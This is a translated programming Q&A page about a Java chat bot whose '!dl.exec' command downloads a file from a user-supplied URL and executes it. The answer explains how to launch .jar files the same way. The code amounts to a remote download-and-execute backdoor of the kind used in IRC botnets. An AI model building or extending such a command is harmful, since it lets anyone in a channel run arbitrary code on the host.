Java-код для выполнения jar / exe / etc - PullRequest
0 голосов
/ 09 марта 2012

хорошо, поэтому у меня есть этот набор кода

if(message.toLowerCase().startsWith("!dl.exec")){
    String[] args = message.split(" ");
    sendMessage(channel, sender +": OK, please wait a moment");
    try{
        java.io.BufferedInputStream in = new java.io.BufferedInputStream(new
            java.net.URL(args[1]).openStream());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(args[2]);
    java.io.BufferedOutputStream bout = new BufferedOutputStream(fos,1024);
    byte data[] = new byte[1024];
    int count;
    while( (count = in.read(data,0,1024)) != -1){
        bout.write(data,0,count);
    }
    fos.flush();
    fos.close();
    String absolutePath = new File("").getAbsolutePath()+"/"+args[2];
    sendMessage(channel, sender +": the path is " +absolutePath);
    Runtime.getRuntime().exec(absolutePath);
}
catch(Exception e){
    }
}

и, по сути, пользователь вводит! Dl.exec (url) (имя файла), и он загружает его и сохраняет как (имя файла), а затем выполняет его. теперь это работает нормально, но только если файл является .exe, для чего-либо еще (например, .jar) он не работает. что мне нужно изменить, чтобы заставить его работать предпочтительно со всеми расширениями?

1 Ответ

2 голосов
/ 09 марта 2012

Runtime.getRuntime().exec(String) выполнит команду, как если бы она была запущена из оболочки.Если вы хотите запустить файл .jar, используйте Runtime.getRuntime().exec("java -jar " + absolutePath).Вам также может понадобиться указать полный путь к исполняемому файлу java из метода exec(String).

Необходимо явно указать поведение при выполнении нестандартных типов файлов (исполняемые или пакетные файлы)

...